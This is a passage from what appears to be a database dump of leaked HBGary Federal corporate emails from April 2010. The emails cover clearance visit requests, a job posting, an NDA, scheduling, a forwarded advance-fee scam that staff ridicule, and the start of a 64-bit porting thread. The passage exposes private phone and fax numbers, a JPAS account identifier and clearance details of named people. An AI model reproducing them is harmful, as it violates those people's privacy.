Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1325,'aaron_hbgary_com/1325.html'),(5217,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003825.M903055P14101Q72.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: Visit Cert','SCI.  Chris is the Security POC and # is 703-746-1221.\r\n\r\nThe meeting is on the morning of April 20th.  Provided a little more time this go around.  :)\r\n\r\nAaron\r\n\r\n\r\nOn Apr 12, 2010, at 3:39 PM, Choate, William R (TASC) wrote:\r\n\r\n> Aaron,\r\n> \r\n> 	What level clearances are required?  Is Chris the Security POC?\r\n> When are you going?\r\n> \r\n> Bill\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 12, 2010 3:38 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Re: Visit Cert\r\n> \r\n> Hi Bill,\r\n> \r\n> Could you send a visit CERT to:\r\n> \r\n> Irving Lachow, 202.685.2060\r\n> Visiting USDI @ 2231 Crystal Drive, Suite 900\r\n> Chris Shears\r\n> FAX: 703-746-1201\r\n> \r\n> I am working on getting Chris Phone#.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Apr 8, 2010, at 7:59 AM, Choate, William R (TASC) wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> 	I never received a response from you providing:\r\n>> \r\n>> Point of Contact & Phone number:\r\n>> Name of place you are visiting:\r\n>> Security Point of Contact & Phone number:\r\n>> FAX number:\r\n>> \r\n>> 	I cannot use JPAS to send your certs because we do not hold your\r\n>> DOD collateral clearances.\r\n>> \r\n>> Bill\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, March 26, 2010 3:44 PM\r\n>> To: Choate, William R (TASC)\r\n>> Subject: Visit Cert\r\n>> \r\n>> Hi Bill,\r\n>> \r\n>> Could you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.\r\n> The\r\n>> purpose is for some technical meetings and discussions.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13088,'aaron_hbgary_com/13088.html'),(5218,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003826.M168391P14101Q73.eml','\"Aaron Barr\" <aaron@hbgary.com>','Intel Analyst','Multi-Source Intelligence Analyst\r\n\r\nLocation:  Fort Meade, MD\r\n\r\nJOB SUMMARY\r\nHBGary Federal\'s (www.hbgary.com) mission is to provide the best\r\ncybersecurity, threat and malware intelligence analysis to assist our\r\ncustomers in advancing the nation\'s capabilities in securing cyberspace\r\nand combating advancing cyber threats. Our focus is to bring together\r\ncreative technical talent, experienced threat and intelligence analysts,\r\nand mission and cultural experts to develop unconventional and\r\ninnovative cybersecurity capabilities. As a core strength, HBGary\r\nFederal leverages HBGary’s best in class incident response, malware\r\nreverse engineering and analysis tools, and brings extensive experience\r\nin information operations and cybersecurity at the national level.\r\nHBGary Federal is seeking experienced Intelligence Analyst candidates to\r\nprovide services to our government customers.\r\n\r\nSKILLS AND REQUIREMENTS:\r\nIntelligence Analyst responsible for performing multi-source research\r\nfor specified topics and targets.  Must be able to identify high-value\r\ninformation during research collection, assemble into a compiled\r\ndocument, conduct analysis to develop actionable intelligence reports\r\nsuitable for dissemination to customers as end products.  Must have\r\nexperience developing technical reports using SIGINT, IMINT, HUMINT,\r\nMASINT, and other multi-source intelligence.  Must have experience with\r\nIntelligence Community working environment, information systems, tools\r\nand databases.  Must be able to work independently as well as part of a\r\nsmall team.  Must possess excellent written and verbal communication\r\nskills to convey technical information in an accurate and professional\r\nmanner.  Must be comfortable working directly with government and\r\ncommercial clients.  May be required to serve as a subject matter expert\r\nand participate in customer meetings and working groups.  Must have\r\nthree years of directly related experience working within the\r\nIntelligence Community plus Bachelors of Science in related field\r\n(Computer Science, Engineering, Math).  May substitute equivalent work\r\nexperience as Intelligence Analyst in lieu of degree.  Requires current\r\nTS/SCI with Fullscope Poly.  Salary is market competitive.\r\n',3176,'aaron_hbgary_com/3176.html'),(5219,'2010-04-12','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297003826.M398597P14101Q74.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Visit Cert','Thanks.  Will send it over.  Do you expect to visit this facility more\r\nthan this one time?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 3:43 PM\r\nTo: Choate, William R (TASC)\r\nSubject: Re: Visit Cert\r\n\r\nSCI.  Chris is the Security POC and # is 703-746-1221.\r\n\r\nThe meeting is on the morning of April 20th.  Provided a little more\r\ntime this go around.  :)\r\n\r\nAaron\r\n\r\n\r\nOn Apr 12, 2010, at 3:39 PM, Choate, William R (TASC) wrote:\r\n\r\n> Aaron,\r\n> \r\n> 	What level clearances are required?  Is Chris the Security POC?\r\n> When are you going?\r\n> \r\n> Bill\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 12, 2010 3:38 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Re: Visit Cert\r\n> \r\n> Hi Bill,\r\n> \r\n> Could you send a visit CERT to:\r\n> \r\n> Irving Lachow, 202.685.2060\r\n> Visiting USDI @ 2231 Crystal Drive, Suite 900\r\n> Chris Shears\r\n> FAX: 703-746-1201\r\n> \r\n> I am working on getting Chris Phone#.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Apr 8, 2010, at 7:59 AM, Choate, William R (TASC) wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> 	I never received a response from you providing:\r\n>> \r\n>> Point of Contact & Phone number:\r\n>> Name of place you are visiting:\r\n>> Security Point of Contact & Phone number:\r\n>> FAX number:\r\n>> \r\n>> 	I cannot use JPAS to send your certs because we do not hold your\r\n>> DOD collateral clearances.\r\n>> \r\n>> Bill\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, March 26, 2010 3:44 PM\r\n>> To: Choate, William R (TASC)\r\n>> Subject: Visit Cert\r\n>> \r\n>> Hi Bill,\r\n>> \r\n>> Could you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.\r\n> The\r\n>> purpose is for some technical meetings and discussions.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16175,'aaron_hbgary_com/16175.html'),(5220,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003826.M854767P14101Q75.eml','\"Ted Vera\" <ted@hbgary.com>','ok','Multi-Source Intelligence AnalystLocation: &nbsp;Fort Meade, MDJOB SUMMARYHBGary Federal\'s (www.hbgary.com) mission is to provide highly specializedcybersecurity, threat and malware intelligence analysis to assist ourcustomers in advancing the nation\'s capabilities in securing cyberspaceand combating advancing cyber threats. Our focus is to bring togethercreative technical talent, experienced threat and intelligence analysts,and mission and cultural experts to develop unconventional andinnovative cybersecurity capabilities. As a core strength, HBGaryFederal leverages HBGary’s best in class incident response, malwarereverse engineering and analysis tools, and brings extensive experiencein information operations and cybersecurity at the national level.HBGary Federal is seeking experienced Intelligence Analysts candidates toprovide services to our government customers.SKILLS AND REQUIREMENTS:Intelligence Analysts responsible for performing multi-source researchfor specified topics and targets. &nbsp;Must be able to identify high-valueinformation during research collection, assemble into a compileddocument, conduct analysis to develop actionable intelligence reportssuitable for dissemination to customers as end products. &nbsp;Must haveexperience developing technical reports using all-source intelligence. &nbsp;Must have experience with&nbsp;Intelligence Community working environment,information systems, toolsand databases. &nbsp;Must be able to work independently as well as part of asmall team. &nbsp;Must possess excellent written and verbal communicationskills to convey technical information in an accurate and professionalmanner. &nbsp;Must be comfortable working directly with government andcommercial clients. &nbsp;May be required to serve as a subject matter expertand participate in customer meetings and working groups. &nbsp;Must havethree years of directly related experience working within theIntelligence Community plus Bachelors of Science in related field(Computer Science, Engineering, Math). &nbsp;May substitute equivalent workexperience as Intelligence Analyst in lieu of degree. &nbsp;Requires currentTS/SCI with Fullscope Poly. &nbsp;Salary is market competitive.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11644,'aaron_hbgary_com/11644.html'),(5221,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003828.M333380P14101Q77.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: Visit Cert','Yes.  Probably mtiple times over the coming months.\r\n\r\n From my iPhone\r\n\r\nOn Apr 12, 2010, at 3:44 PM, \"Choate, William R (TASC)\"\r\n wrote:\r\n\r\n> Thanks.  Will send it over.  Do you expect to visit this facility more\r\n> than this one time?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 12, 2010 3:43 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Re: Visit Cert\r\n>\r\n> SCI.  Chris is the Security POC and # is 703-746-1221.\r\n>\r\n> The meeting is on the morning of April 20th.  Provided a little more\r\n> time this go around.  :)\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Apr 12, 2010, at 3:39 PM, Choate, William R (TASC) wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>>    What level clearances are required?  Is Chris the Security POC?\r\n>> When are you going?\r\n>>\r\n>> Bill\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, April 12, 2010 3:38 PM\r\n>> To: Choate, William R (TASC)\r\n>> Subject: Re: Visit Cert\r\n>>\r\n>> Hi Bill,\r\n>>\r\n>> Could you send a visit CERT to:\r\n>>\r\n>> Irving Lachow, 202.685.2060\r\n>> Visiting USDI @ 2231 Crystal Drive, Suite 900\r\n>> Chris Shears\r\n>> FAX: 703-746-1201\r\n>>\r\n>> I am working on getting Chris Phone#.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Apr 8, 2010, at 7:59 AM, Choate, William R (TASC) wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>>    I never received a response from you providing:\r\n>>>\r\n>>> Point of Contact & Phone number:\r\n>>> Name of place you are visiting:\r\n>>> Security Point of Contact & Phone number:\r\n>>> FAX number:\r\n>>>\r\n>>>    I cannot use JPAS to send your certs because we do not hold your\r\n>>> DOD collateral clearances.\r\n>>>\r\n>>> Bill\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Friday, March 26, 2010 3:44 PM\r\n>>> To: Choate, William R (TASC)\r\n>>> Subject: Visit Cert\r\n>>>\r\n>>> Hi Bill,\r\n>>>\r\n>>> Could you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.\r\n>> The\r\n>>> purpose is for some technical meetings and discussions.\r\n>>>\r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',15638,'aaron_hbgary_com/15638.html'),(5222,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003828.M538208P14101Q78.eml','mark.trynor@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: CONFIDEN PLEASE RSV P CLICK ..TO VIEW MY MESSAGETIAL.','New Business opportunity.\r\n\r\n-------- Original Message --------\r\nSubject: CONFIDEN PLEASE RSV P CLICK ..TO VIEW MY MESSAGETIAL.\r\nDate: 07 Apr 2010 11:27:12 -0700\r\nFrom: roland benson \r\nReply-To: roland_benson2@yahoo.com\r\nTo: ted@hbgary.com\r\n\r\nYou are invited to \"CONFIDEN PLEASE RSV P CLICK ..TO VIEW MY MESSAGETIAL.\".\r\n\r\n\r\nBy your host roland benson:\r\n\r\n\r\n     Date:		Wednesday April 7, 2010\r\n\r\n     Time:		6:00 pm - 7:00 pm (GMT +00:00)\r\n     Street:		Dear Friend, I am Mr.Roland Benson ,the Director in charge\r\nof Auditing section in the Bank of African,I need your urgent assistance\r\nin transferring the sum of ($ 10.5million US dollars immediately to your\r\naccount. upon your reply I will send you the full details on how the\r\nbusiness will be executed,send me your contact\r\ninformation.1.Age.(2)Residential adress(3) occupation(4)private\r\ntelephone.Waiting to hear from you soonest.\r\n\r\nWill you attend? RSVP to this invitation at:\r\n\r\n\r\nhttp://calendar.yahoo.com/roland_benson2?v=126&a1=0&iid=zxB7Usj%40FdAVa71m6hJ-twl%40OQ4c%40MXg7pC2Yx%40%40&igid=9hB7pgncI%40US%40oo1Nxp6Yrd%40sWFqaP8uv%40b-i5nbXmv%40\r\n\r\nCopyright © 2010 All Rights Reserved\r\n www.yahoo.com\r\n\r\nPrivacy Policy:\r\n http://privacy.yahoo.com/privacy/us\r\n\r\nTerms of Service:\r\n http://docs.yahoo.com/info/terms/\r\n\r\n',5103,'aaron_hbgary_com/5103.html'),(5223,'2010-04-12','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003828.M757988P14101Q79.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Fwd: CONFIDEN PLEASE RSV P CLICK ..TO VIEW MY MESSAGETIAL.','Ah yes the ever popular \'Bank of African\'  see most companies would just\r\nhave a subsidiary/branch there but not Bank of America.  There\r\ndedication to making all of their customers feel \"at home\"  stood up the\r\n\"Bank of African\"\r\n\r\nYou should contact them and see if they\'ll pay that direct to the IRS,\r\nyou know for tax reasons.\r\n\r\nTed Vera wrote:\r\n> New Business opportunity.\r\n>\r\n> -------- Original Message --------\r\n> Subject: CONFIDEN PLEASE RSV P CLICK ..TO VIEW MY MESSAGETIAL.\r\n> Date: 07 Apr 2010 11:27:12 -0700\r\n> From: roland benson \r\n> Reply-To: roland_benson2@yahoo.com\r\n> To: ted@hbgary.com\r\n>\r\n> You are invited to \"CONFIDEN PLEASE RSV P CLICK ..TO VIEW MY MESSAGETIAL.\".\r\n>\r\n>\r\n> By your host roland benson:\r\n>\r\n>\r\n>      Date:		Wednesday April 7, 2010\r\n>\r\n>      Time:		6:00 pm - 7:00 pm (GMT +00:00)\r\n>      Street:		Dear Friend, I am Mr.Roland Benson ,the Director in charge\r\n> of Auditing section in the Bank of African,I need your urgent assistance\r\n> in transferring the sum of ($ 10.5million US dollars immediately to your\r\n> account. upon your reply I will send you the full details on how the\r\n> business will be executed,send me your contact\r\n> information.1.Age.(2)Residential adress(3) occupation(4)private\r\n> telephone.Waiting to hear from you soonest.\r\n>\r\n> Will you attend? RSVP to this invitation at:\r\n>\r\n>\r\n> http://calendar.yahoo.com/roland_benson2?v=126&a1=0&iid=zxB7Usj%40FdAVa71m6hJ-twl%40OQ4c%40MXg7pC2Yx%40%40&igid=9hB7pgncI%40US%40oo1Nxp6Yrd%40sWFqaP8uv%40b-i5nbXmv%40\r\n>\r\n> Copyright © 2010 All Rights Reserved\r\n>  www.yahoo.com\r\n>\r\n> Privacy Policy:\r\n>  http://privacy.yahoo.com/privacy/us\r\n>\r\n> Terms of Service:\r\n>  http://docs.yahoo.com/info/terms/\r\n>\r\n>   \r\n\r\n',9998,'aaron_hbgary_com/9998.html'),(5224,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003828.M89905P14101Q76.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: NDA and Collaboration','Great.\r\n\r\nAttached is a copy of our NDA.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\n\r\n> Dear Aaron,\r\n> \r\n> Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\n> \r\n> We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.\r\n> \r\n> Best wishes,\r\n> Arnav\r\n> \r\n> Arnav Manchanda\r\n> Business Capture & Analytics\r\n> \r\n> The SecDev Group\r\n> complexity.engaged\r\n> \r\n> World Exchange Plaza\r\n> 45 O\'Connor Street, Suite 1150\r\n> Ottawa, Ontario K1A 1A4\r\n> Office: +1 (613) 755-4007\r\n> Cell:  +1 (613) 806-4081\r\n> E-mail: a.manchanda@secdev.ca \r\n> \r\n> \r\n> \r\n> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n> \r\n> \r\n> \r\n> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n> \r\n> \r\n> \r\n>> From: Aaron Barr \r\n>> Date: April 9, 2010 3:40:07 PM EDT\r\n>> To: N.villeneuve@secdev.ca\r\n>> Cc: Ted Vera \r\n>> Subject: NDA and Collaboration\r\n>> \r\n>> Nart,\r\n>> \r\n>> It was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\n>> \r\n>> How often do you come down to DC?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10400,'aaron_hbgary_com/10400.html'),(5225,'2010-04-12','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297003833.M628690P14101Q80.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hello Aaron,\r\n\r\nPlease find attached the NDA signed by my CEO Rafal Rohozinski. I await your countersigned copy.\r\n\r\nBest,\r\nArnav\r\n\r\n\r\n\r\nOn 2010-04-12, at 4:02 PM, Aaron Barr wrote:\r\n\r\n> Great.\r\n> \r\n> Attached is a copy of our NDA.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> On Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\n> \r\n>> Dear Aaron,\r\n>> \r\n>> Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\n>> \r\n>> We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.\r\n>> \r\n>> Best wishes,\r\n>> Arnav\r\n>> \r\n>> Arnav Manchanda\r\n>> Business Capture & Analytics\r\n>> \r\n>> The SecDev Group\r\n>> complexity.engaged\r\n>> \r\n>> World Exchange Plaza\r\n>> 45 O\'Connor Street, Suite 1150\r\n>> Ottawa, Ontario K1A 1A4\r\n>> Office: +1 (613) 755-4007\r\n>> Cell:  +1 (613) 806-4081\r\n>> E-mail: a.manchanda@secdev.ca \r\n>> \r\n>> \r\n>> \r\n>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>> \r\n>> \r\n>> \r\n>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>> \r\n>> \r\n>> \r\n>>> From: Aaron Barr \r\n>>> Date: April 9, 2010 3:40:07 PM EDT\r\n>>> To: N.villeneuve@secdev.ca\r\n>>> Cc: Ted Vera \r\n>>> Subject: NDA and Collaboration\r\n>>> \r\n>>> Nart,\r\n>>> \r\n>>> It was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\n>>> \r\n>>> How often do you come down to DC?\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 719.510.8478\r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',13165,'aaron_hbgary_com/13165.html'),(5226,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003833.M975509P14101Q81.eml','\"Leavy Penny\" <penny@hbgary.com>,\"Leavy Penny\" <penny@hbgary.com>','Job listing','Hi Penny, SAIC won the NANA contract with NSA and HBGary Federal can fill positions on a best athlete basis.  Can we post the requisition below to the HBGary website?\r\nMulti-Source Intelligence Analyst\r\nLocation:  Fort Meade, MDJOB SUMMARYHBGary Federal&#39;s (www.hbgary.com) mission is to provide highly specializedcybersecurity, threat and malware intelligence analysis to assist our\r\ncustomers in advancing the nation&#39;s capabilities in securing cyberspaceand combating advancing cyber threats. Our focus is to bring togethercreative technical talent, experienced threat and intelligence analysts,\r\nand mission and cultural experts to develop unconventional andinnovative cybersecurity capabilities. As a core strength, HBGaryFederal leverages HBGary’s best in class incident response, malwarereverse engineering and analysis tools, and brings extensive experience\r\nin information operations and cybersecurity at the national level.HBGary Federal is seeking experienced Intelligence Analysts candidates toprovide services to our government customers.SKILLS AND REQUIREMENTS:\r\nIntelligence Analysts responsible for performing multi-source researchfor specified topics and targets.  Must be able to identify high-valueinformation during research collection, assemble into a compileddocument, conduct analysis to develop actionable intelligence reports\r\nsuitable for dissemination to customers as end products.  Must haveexperience developing technical reports using all-source intelligence.  Must have experience with Intelligence Community working environment,\r\ninformation systems, toolsand databases.  Must be able to work independently as well as part of asmall team.  Must possess excellent written and verbal communicationskills to convey technical information in an accurate and professional\r\nmanner.  Must be comfortable working directly with government andcommercial clients.  May be required to serve as a subject matter expertand participate in customer meetings and working groups.  Must havethree years of directly related experience working within the\r\nIntelligence Community plus Bachelors of Science in related field(Computer Science, Engineering, Math).  May substitute equivalent workexperience as Intelligence Analyst in lieu of degree.  Requires currentTS/SCI with Fullscope Poly.  Salary is market competitive.\r\n\r\n\r\n',5360,'aaron_hbgary_com/5360.html'),(5227,'2010-04-12','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003834.M299591P14101Q82.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: still want to get together this afternoon','Aaron,\r\n\r\nThis week is pretty crazy for us with the DoD Anti-Tamper conference. Friday looks like the only possibility - you up for lunch?\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\nOn Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n\r\n> sure no problem.\r\n> \r\n> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n> \r\n>> Do you mind if we move to next week, I am frantically trying to finish a proposal.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',6777,'aaron_hbgary_com/6777.html'),(5228,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003834.M572387P14101Q83.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: still want to get together this afternoon','No worries.  Let\'s schedule something up next week.  I have some\r\nmeetings mon and tues and traveling we\'d-fri.  So if u have some times\r\non mon or tues.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 12, 2010, at 5:17 PM, Irby Thompson  wrote:\r\n\r\n> Aaron,\r\n>\r\n> This week is pretty crazy for us with the DoD Anti-Tamper\r\n> conference. Friday looks like the only possibility - you up for lunch?\r\n>\r\n>    Regards,\r\n>    Irby\r\n>\r\n>\r\n> On Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n>\r\n>> sure no problem.\r\n>>\r\n>> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n>>\r\n>>> Do you mind if we move to next week, I am frantically trying to\r\n>>> finish a proposal.\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n',9438,'aaron_hbgary_com/9438.html'),(5229,'2010-04-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003834.M776247P14101Q84.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: [Softwide] Deal and SI project requesting','Hi Aaron\r\n \r\nWhat did we decide to do with Softwide?  Any action items for me to follow up?\r\n \r\nMaria\r\nOn Thu, Apr 8, 2010 at 7:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nyeah. \r\n\r\n\r\nCyber Threat Analysis Team // National Computing &amp; Information Agency\r\n\r\nI don&#39;t think this is a good idea.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Apr 7, 2010, at 6:53 PM, Penny Leavy-Hoglund wrote:\r\nCyber Threat Analysis Team // National Computing &amp; Information Agency\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',3885,'aaron_hbgary_com/3885.html'),(5230,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003835.M253139P14101Q86.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Project B','Sent from my iPadBegin forwarded message:From: Martin Pillion &lt;martin@hbgary.com&gt;\r\nDate: April 12, 2010 6:12:29 PM MDTTo: Mark Trynor &lt;mark@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Project B\r\nHey Mark,    I was traveling today and out of touch for most of it.  I can callif you want, but after examining your email I don&#39;t think I could help\r\nvery much.  The best bet is to wait until tomorrow and talk withclearhat directly.PS.  If you need, my cell is 443-956-8665- Martin\r\nMark Trynor wrote:-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1\r\nTed told me you may be giving me a call.  Just in case my # is :719.214.9187\r\nTed Vera wrote:Scott / Martin,\r\nMark was able to download Vista 64 last Friday from MSDN, but he is\r\nhaving problems getting the code to run (see his email below).  Can we\r\nschedule some time today for Martin and Mark to discuss?  Given thatthis is due to the customer next week, I think we need to get Martin\r\nstarted on porting to the remaining 64-bit OS&#39;s as soon as possible.\r\nShawn and Sherri will be back tomorrow, and they said they may have sometime to help (depending on other contract workload).\r\nTed\r\n--- Email from Mark ---\r\nTed,\r\nHere&#39;s what I&#39;ve been trying to work through and where I&#39;m stuck now.  I\r\ndid a complete clean rebuild of the target system after all the issues Ihad before and this is where I got stuck late Saturday night :\r\nFriday I downloaded the Windows Vista 64bit operating system from 